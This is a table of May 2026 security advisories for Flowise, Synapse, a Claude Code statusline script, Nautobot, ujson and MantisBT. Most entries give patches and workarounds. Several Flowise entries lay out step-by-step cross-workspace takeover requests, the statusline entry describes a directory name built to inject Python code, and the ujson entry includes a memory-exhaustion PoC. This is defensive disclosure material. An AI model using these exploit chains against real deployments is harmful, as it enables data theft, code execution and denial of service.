| CVE-2026-46480 | hig | 0.38 | — | — | | May 14, 2026 | ## Summary
**Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the Evaluator entity -> cross-workspace data takeover and IDOR.
**File:** `packages/server/src/Interface.Evaluation.ts`
**Root cause:** The Evaluator controller/service constructs a `new Evaluator()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluator entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae.
## Affected Code
**File:** `packages/server/src/Interface.Evaluation.ts`
```ts
// at line 85
Object.assign(newEvaluator, body) // <-- BUG: body.id, body.workspaceId, body.createdDate, body.updatedDate accepted
```
**Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.
## Exploit Chain
1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.
2. Attacker creates a evaluator in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`.
3. Attacker issues a `PUT /api/v1/evaluators/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.
4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row.
5. Final state: the evaluator row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update.
## Security Impact
**Severity:** High. Cross-workspace boundary violation by any authenticated workspace member.
**Attacker capability:** Any authenticated user with permission to update a evaluator can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Evaluators score model outputs and can be moved into another workspace via `workspaceId` overwrite, making the evaluator (and its scoring rubric) appear there.
**Preconditions:** Authenticated session with edit permission for the source evaluator. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial.
**Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it.
## Suggested Fix
Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6050 (allowlist pattern applied).
```ts
// Allowlist pattern (matches commit 840d2ae for DocumentStore):
const updatedEvaluator = new Evaluator()
if (body.<allowed_field_1> !== undefined) updatedEvaluator.<allowed_field_1> = body.<allowed_field_1>
if (body.<allowed_field_2> !== undefined) updatedEvaluator.<allowed_field_2> = body.<allowed_field_2>
// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.
```
Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. |
| CVE-2026-46479 | hig | 0.38 | — | — | | May 14, 2026 | ## Summary
**Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the Evaluation entity -> cross-workspace data takeover and IDOR.
**File:** `packages/server/src/services/evaluations/index.ts`
**Root cause:** The Evaluation controller/service constructs a `new Evaluation()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluation entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae.
## Affected Code
**File:** `packages/server/src/services/evaluations/index.ts`
```ts
// at line 69
Object.assign(newEvaluation, body) // <-- BUG: body.id, body.workspaceId, body.createdDate, body.updatedDate accepted
```
**Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.
## Exploit Chain
1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.
2. Attacker creates a evaluation in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`.
3. Attacker issues a `PUT /api/v1/evaluations/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.
4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row.
5. Final state: the evaluation row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update.
## Security Impact
**Severity:** High. Cross-workspace boundary violation by any authenticated workspace member.
**Attacker capability:** Any authenticated user with permission to update a evaluation can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Evaluation runs (which may include captured prompts, model outputs, scoring data) can be moved cross-workspace via `workspaceId` overwrite, exposing the data to attacker workspace members.
**Preconditions:** Authenticated session with edit permission for the source evaluation. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial.
**Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it.
## Suggested Fix
Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6050 (allowlist pattern applied).
```ts
// Allowlist pattern (matches commit 840d2ae for DocumentStore):
const updatedEvaluation = new Evaluation()
if (body.<allowed_field_1> !== undefined) updatedEvaluation.<allowed_field_1> = body.<allowed_field_1>
if (body.<allowed_field_2> !== undefined) updatedEvaluation.<allowed_field_2> = body.<allowed_field_2>
// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.
```
Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. |
| CVE-2026-46478 | hig | 0.38 | — | — | | May 14, 2026 | ## Summary
**Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the DatasetRow entity -> cross-workspace data takeover and IDOR.
**File:** `packages/server/src/services/dataset/index.ts`
**Root cause:** The DatasetRow controller/service constructs a `new DatasetRow()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the datasetrow entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae.
## Affected Code
**File:** `packages/server/src/services/dataset/index.ts`
```ts
// create (line 274) and update (line 315)
Object.assign(newRow, rowBody) // <-- BUG: rowBody.id, rowBody.datasetId accepted
```
**Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.
## Exploit Chain
1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.
2. Attacker creates a datasetrow in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`.
3. Attacker issues a `PUT /api/v1/datasetrows/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.
4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row.
5. Final state: the datasetrow row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update.
## Security Impact
**Severity:** High. Cross-workspace boundary violation by any authenticated workspace member.
**Attacker capability:** Any authenticated user with permission to update a datasetrow can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). DatasetRows hold individual training/evaluation records. The mass assignment lets a member rebind a row to a Dataset in another workspace via `datasetId`, exposing the row content to the destination workspace.
**Preconditions:** Authenticated session with edit permission for the source datasetrow. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial.
**Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it.
## Suggested Fix
Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6051 (allowlist pattern applied).
```ts
// Allowlist pattern (matches commit 840d2ae for DocumentStore):
const updatedDatasetRow = new DatasetRow()
if (body.<allowed_field_1> !== undefined) updatedDatasetRow.<allowed_field_1> = body.<allowed_field_1>
if (body.<allowed_field_2> !== undefined) updatedDatasetRow.<allowed_field_2> = body.<allowed_field_2>
// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.
```
Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. |
| CVE-2026-46477 | hig | 0.38 | — | — | | May 14, 2026 | ## Summary
**Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the Dataset entity -> cross-workspace data takeover and IDOR.
**File:** `packages/server/src/services/dataset/index.ts`
**Root cause:** The Dataset controller/service constructs a `new Dataset()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the dataset entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae.
## Affected Code
**File:** `packages/server/src/services/dataset/index.ts`
```ts
// create (line 203) and update (line 226)
Object.assign(newDataset, body) // <-- BUG: body.id, body.workspaceId accepted
```
**Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.
## Exploit Chain
1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.
2. Attacker creates a dataset in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`.
3. Attacker issues a `PUT /api/v1/datasets/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.
4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row.
5. Final state: the dataset row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update.
## Security Impact
**Severity:** High. Cross-workspace boundary violation by any authenticated workspace member.
**Attacker capability:** Any authenticated user with permission to update a dataset can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Datasets hold training / evaluation data scoped to a workspace. Moving a Dataset across workspaces via `workspaceId` overwrite exposes the dataset (rows, schema, references) to the destination workspace.
**Preconditions:** Authenticated session with edit permission for the source dataset. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial.
**Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it.
## Suggested Fix
Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6051 (allowlist pattern applied).
```ts
// Allowlist pattern (matches commit 840d2ae for DocumentStore):
const updatedDataset = new Dataset()
if (body.<allowed_field_1> !== undefined) updatedDataset.<allowed_field_1> = body.<allowed_field_1>
if (body.<allowed_field_2> !== undefined) updatedDataset.<allowed_field_2> = body.<allowed_field_2>
// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.
```
Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. |
| CVE-2026-46476 | hig | 0.38 | — | — | | May 14, 2026 | ## Summary
**Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the CustomTemplate entity -> cross-workspace data takeover and IDOR.
**File:** `packages/server/src/services/marketplaces/index.ts`
**Root cause:** The CustomTemplate controller/service constructs a `new CustomTemplate()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the customtemplate entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae.
## Affected Code
**File:** `packages/server/src/services/marketplaces/index.ts`
```ts
// at line 211
Object.assign(newTemplate, body) // <-- BUG: body.id, body.workspaceId accepted
```
**Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.
## Exploit Chain
1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.
2. Attacker creates a customtemplate in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`.
3. Attacker issues a `PUT /api/v1/customtemplates/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.
4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row.
5. Final state: the customtemplate row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update.
## Security Impact
**Severity:** High. Cross-workspace boundary violation by any authenticated workspace member.
**Attacker capability:** Any authenticated user with permission to update a customtemplate can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). CustomTemplates encode reusable workflow templates scoped to a workspace. Cross-workspace movement via `workspaceId` overwrite makes the template appear in another workspace's marketplace listing.
**Preconditions:** Authenticated session with edit permission for the source customtemplate. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial.
**Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it.
## Suggested Fix
Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6129 (allowlist pattern applied).
```ts
// Allowlist pattern (matches commit 840d2ae for DocumentStore):
const updatedCustomTemplate = new CustomTemplate()
if (body.<allowed_field_1> !== undefined) updatedCustomTemplate.<allowed_field_1> = body.<allowed_field_1>
if (body.<allowed_field_2> !== undefined) updatedCustomTemplate.<allowed_field_2> = body.<allowed_field_2>
// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.
```
Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. |
| CVE-2026-46475 | hig | 0.38 | — | — | | May 14, 2026 | ## Summary
**Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the Assistant entity -> cross-workspace data takeover and IDOR.
**File:** `packages/server/src/services/assistants/index.ts`
**Root cause:** The Assistant controller/service constructs a `new Assistant()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the assistant entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae.
## Affected Code
**File:** `packages/server/src/services/assistants/index.ts`
```ts
// create (line 303) and update (line 381)
Object.assign(newAssistant, requestBody) // <-- BUG: requestBody.id, requestBody.workspaceId accepted
```
**Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.
## Exploit Chain
1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.
2. Attacker creates a assistant in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`.
3. Attacker issues a `PUT /api/v1/assistants/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.
4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row.
5. Final state: the assistant row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update.
## Security Impact
**Severity:** High. Cross-workspace boundary violation by any authenticated workspace member.
**Attacker capability:** Any authenticated user with permission to update a assistant can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Assistants encapsulate LLM configuration, instructions, attached tools, and credentials. Cross-workspace movement via `workspaceId` overwrite exposes the assistant (including its system prompt and tool list) to the destination workspace.
**Preconditions:** Authenticated session with edit permission for the source assistant. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial.
**Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it.
## Suggested Fix
Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6128 (allowlist pattern applied).
```ts
// Allowlist pattern (matches commit 840d2ae for DocumentStore):
const updatedAssistant = new Assistant()
if (body.<allowed_field_1> !== undefined) updatedAssistant.<allowed_field_1> = body.<allowed_field_1>
if (body.<allowed_field_2> !== undefined) updatedAssistant.<allowed_field_2> = body.<allowed_field_2>
// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.
```
Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. |
| CVE-2026-45078 | hig | 0.38 | — | — | | May 14, 2026 | ### Impact
Local authenticated users can cause Synapse to starve other requests of CPU and lead to other requests failing, causing other users to be denied service.
Homeservers that trust all their local users are not at risk.
### Patches
Update to Synapse 1.152.1 or later.
### Workarounds
If Synapse is deployed behind a reverse proxy, the reverse proxy could be configured to limit the rate of user requests,
preventing or increasing the difficulty of the attack.
### Identifiers
- ELEMENTSEC-2026-1706
### For more information
If you have any questions or comments about this advisory, please email us at [security at element.io](mailto:security@element.io). |
| CVE-2026-45136 | hig | 0.38 | — | — | | May 13, 2026 | ## Summary
`tools/quota-statusline.sh` (introduced in v3.5.0) interpolates Claude Code's hook stdin payload directly into a Python triple-quoted string literal. A `'''` byte sequence in any user-controlled field of the payload closes the literal early and lets following bytes execute as Python in the user's Claude Code process.
## Affected versions
- v3.5.0
- v3.5.1
## Patched versions
- v3.5.2
## Affected configurations
Users who wired `tools/quota-statusline.sh` into Claude Code's `statusLine` configuration. The v3.5.0 README explicitly recommends this setup, so most users on v3.5.0/v3.5.1 with the recommended setup are affected.
## Attack chain
Claude Code's statusline hook payload reflects user-controlled paths (`cwd`, `workspace.current_dir`, `workspace.project_dir`, `transcript_path`). Apostrophes are legal in POSIX filesystem paths.
1. A hostile directory name containing `'''+payload+'''` lands on disk via any normal vector — `git clone`, archive extraction, npm package, downloaded zip, etc.
2. The victim has the recommended `tools/quota-statusline.sh` wired into their CC `statusLine` config.
3. The victim `cd`s anywhere a hostile path is reachable.
4. CC fires the statusline hook on every redraw. The Python literal closes early. The injected bytes execute as Python in the user's process.
## Severity
Local code execution at user privilege. Persistent re-fire on every statusline redraw. No user interaction beyond `cd`-ing into the hostile path. The user's shell, CC session, files, SSH keys, and any locally-accessible credentials are reachable from the executed code.
## Vulnerable pattern
```sh
input=$(cat)
result=$(python3 -c "
stdin_data = json.loads('''$input''') if '''$input''' else {}
")
```
## Fix
Capture stdin in bash, export to env, and pipe the Python source through a single-quoted heredoc (`<<'PYEOF'`). Single-quoting disables ALL bash interpolation inside the body. Python reads the JSON via `os.environ.get('CC_INPUT')`, where the bytes are inert at every layer.
```sh
CC_INPUT=$(cat)
export CC_INPUT
python3 <<'PYEOF' 2>/dev/null
import os, json
try:
cc_input = json.loads(os.environ.get('CC_INPUT') or '{}')
except Exception:
cc_input = {}
# ...
PYEOF
```
## Workarounds
Until upgrading to v3.5.2:
- Disable the statusline by removing the `statusLine` entry from `~/.claude/settings.json`, or
- Replace `tools/quota-statusline.sh` with a script that does NOT pass stdin through `python3 -c "..."` (a heredoc + env var rewrite is safe)
## Credit
Reported by Jakob Linke (@schuay) via GitHub issue [#108](https://github.com/cnighswonger/claude-code-cache-fix/issues/108).
## Timeline
- 2026-05-07 — reported (#108)
- 2026-05-07 — confirmed, fix implemented (#110)
- 2026-05-07 — v3.5.2 published |
| CVE-2026-44798 | hig | 0.38 | — | — | | May 13, 2026 | ### Impact
A user with access to add/change a GitRepository record could use the REST API to directly set the `current_head` field on the record, which was not intended to be user-editable. Doing so could cause Nautobot's local clone(s) of the relevant repository to checkout a commit other than the latest commit on the specified `branch` (resulting in misleading state), or potentially to be unable to make use of the repository at all (until manually remediated) due to the `current_head` pointing to a nonexistent commit hash or malformed value.
### Patches
The issue has been remediated in Nautobot v2.4.33 and 3.1.2.
### Workarounds
Note that many of the same end-result symptoms could be caused by a user with the same level of access simply changing the `branch` or `remote_url` of a GitRepository rather than crafting the `current_head`. Administrators are encouraged to carefully review which users are granted permissions to create and modify GitRepository records.
### References
- 2.4.33 (<a href="https://github.com/nautobot/nautobot/commit/9deddfc91ad9260ad17b5e20084e9e2d15be3609">patch</a>)
- 3.1.2 (<a href="https://github.com/nautobot/nautobot/commit/c46f97040b2bde4320be36b23577f19a8bcbd8c3">patch</a>) |
| CVE-2026-44797 | hig | 0.38 | — | — | | May 13, 2026 | ### Impact
Nautobot's `Webhook` data model and associated feature set could be configured by users with sufficient access to perform requests to various hosts and IP addresses that should not be permitted, allowing for various behaviors similar to server-side request forgery (SSRF).
### Patches
Fixes are available in Nautobot v2.4.33 and v3.1.2.
In support of this fix, three new settings variables have been added to Nautobot:
- `WEBHOOK_ALLOWED_SCHEMES` - By default new or updated `Webhook` records will be restricted to HTTP or HTTPS only, disallowing other schemes that may have been previously allowed. Administrators should audit existing `Webhook` records to identify any that are invalid, and either update/delete said records or customize `WEBHOOK_ALLOWED_SCHEMES` as appropriate.
- `WEBHOOK_ADDITIONAL_BLOCKED_NETWORKS` - This can be used to specify additional IP networks that should be denied to `Webhook` sending, for example some deployments may wish to disallow RFC1918 addresses or even disallow all networks and carve out specific exemptions using the following setting.
- `WEBHOOK_ALLOWED_HOSTS` - This can be used to provide an allow-list of specific hosts that would otherwise be blocked by any `WEBHOOK_ADDITIONAL_BLOCKED_NETWORKS` configuration.
### Workarounds
Administrators should review which users have been granted `add` or `change` permissions for the `Webhook` data model, and should review currently defined `Webhook` records for safety and validity. Other than that, no specific workaround has been identified.
### References
- 2.4.33 (<a href="https://github.com/nautobot/nautobot/commit/16aa4aa9796ab7a31c4d615ec945e1f16d8c77c4">patch</a>)
- 3.1.2 (<a href="https://github.com/nautobot/nautobot/commit/7324c8f0d8c7245fbc691e15d729adc2d2707d08">patch</a>) |
| CVE-2026-44660 | hig | 0.38 | — | — | | May 12, 2026 | ### Summary
When `ujson.dump()` writes to a file-like object and the write operation raises an exception, the serialized JSON string object is not decremented, leaking memory. Each failed write operation leaks the full size of the serialized payload.
Code that uses `ujson.dumps()` rather than `ujson.dump()` or only JSON load/decode methods is unaffected.
### Details
**Vulnerability Location:**
- `src/ujson/python/objToJSON.c:913` - `objToJSONFile()` function start
- `src/ujson/python/objToJSON.c:931` - Error return on write failure
- `src/ujson/python/objToJSON.c:942` - Early return without cleanup
**Root Cause:**
The `objToJSONFile()` function allocates a Python string object via `ujson_dumps_internal()`, calls the file's `write()` method, and returns early if `write()` raises an exception—but never calls `Py_DECREF(string)` on the early exit path.
### PoC
```python
import gc, tracemalloc, ujson
class BadFile:
def write(self, s):
raise RuntimeError("boom")
obj = {"x": "A" * 200000}
def run():
try:
ujson.dump(obj, BadFile())
except RuntimeError:
pass
run()
tracemalloc.start()
gc.collect()
base = tracemalloc.get_traced_memory()[0]
for i in range(5):
run()
gc.collect()
cur = tracemalloc.get_traced_memory()[0]
print(i, cur - base)
```
### Impact
Any application that serializes data through `ujson.dump()` to an attacker-influenced file-like object that can fail can be driven into linear memory growth. An attacker can quickly use up all the memory of say a web server that sends JSON responses using `ujson.dump()` by repeatedly making requests then closing the connection mid response.
### Remediation
The missing dec-refs were added in 82af1d0ac01d09aa40c887b460d44b9d9f4bccd9. We recommend upgrading to [UltraJSON 5.12.1](https://github.com/ultrajson/ultrajson/releases/tag/5.12.1).
### Workarounds
Replacing `ujson.dump(obj, file)` with `file.write(ujson.dumps(obj))` is equivalent (contrary to popular misconception, there are no streaming benefits to using `ujson.dump()`) and will avoid the memory leak. |
| CVE-2026-44657 | hig | 0.38 | — | — | | May 11, 2026 | Using *show_inline=1* parameter and a valid *file_show_inline_token* CSRF token on file_download.php, an attacker can execute code by uploading a crafted XHTML attachment referencing a JavaScript attachment.
### Impact
Cross-site scripting
### Patches
- 26647b2e68ba30b9d7987d4e03d7a16416684bc2
### Workarounds
None
### Credits
Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue. |
| CVE-2026-44655 | hig | 0.38 | — | — | | May 11, 2026 | Unescaped Project Name allows an attacker that can set it (which typically requires manager or administrator access level) to inject HTML in Move Attachments admin page.
### Impact
Cross-site scripting (XSS).
This is mitigated by Content Security Policy which restricts scripts execution.
### Patches
- 5cb4b469295889f5d2b01677c9bf82c143e0fdaa
### Workarounds
None |
| CVE-2026-42071 | hig | 0.38 | — | — | | May 11, 2026 | A missing authorization check in MantisBT's file visibility function allows any authenticated user (REPORTER+) to download attachments on private bugnotes they should not be able to access, via the REST API endpoint GET /api/rest/issues/{id}/files and SOAP API mc_issue_attachment_get endpoint.
### Impact
- REPORTER (access level 25) can view file attachments that were uploaded to private bugnotes by DEVELOPER/MANAGER/ADMIN users
- Private bugnotes are intended for internal developer discussion; their attachments (logs, screenshots, patches) should be equally protected
- The web UI is NOT affected — it filters through bugnote_get_all_visible_bugnotes() first
### Patches
- 029d9d203d9e4ae96b3e59d552fa7395cc1e5071
### Workarounds
None
### Credits
Thanks to the following security researchers for independently discovering and responsibly reporting the issue.
- Vishal Shukla
- Tristan Madani (@TristanInSec) from Talence Security
- Tang Cheuk Hei (@siunam321)
This advisory's contents was largely copied from Tristan's well-written report. |
| CVE-2026-40607 | hig | 0.38 | — | — | | May 11, 2026 | Incorrect escaping of a saved filter's owner allows an attacker to inject arbitrary HTML on systems where $g_show_user_realname = ON.
### Impact
Cross-site scripting (XSS).
Note that By default, only users with *Manager* access level or above can save their filters publicly
### Patches
- 44f490bcf20fd491c1b8f3fc9dd041d8c2a30010
### Workarounds
- Prevent display of users' real name (set `$g_ show_user_realname = OFF;` in configuration)
- Restrict ability to store filters (set $`g_stored_query_create_threshold` / $`g_stored_query_create_shared_threshold` to `NOBODY`
### Credits
Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue. |
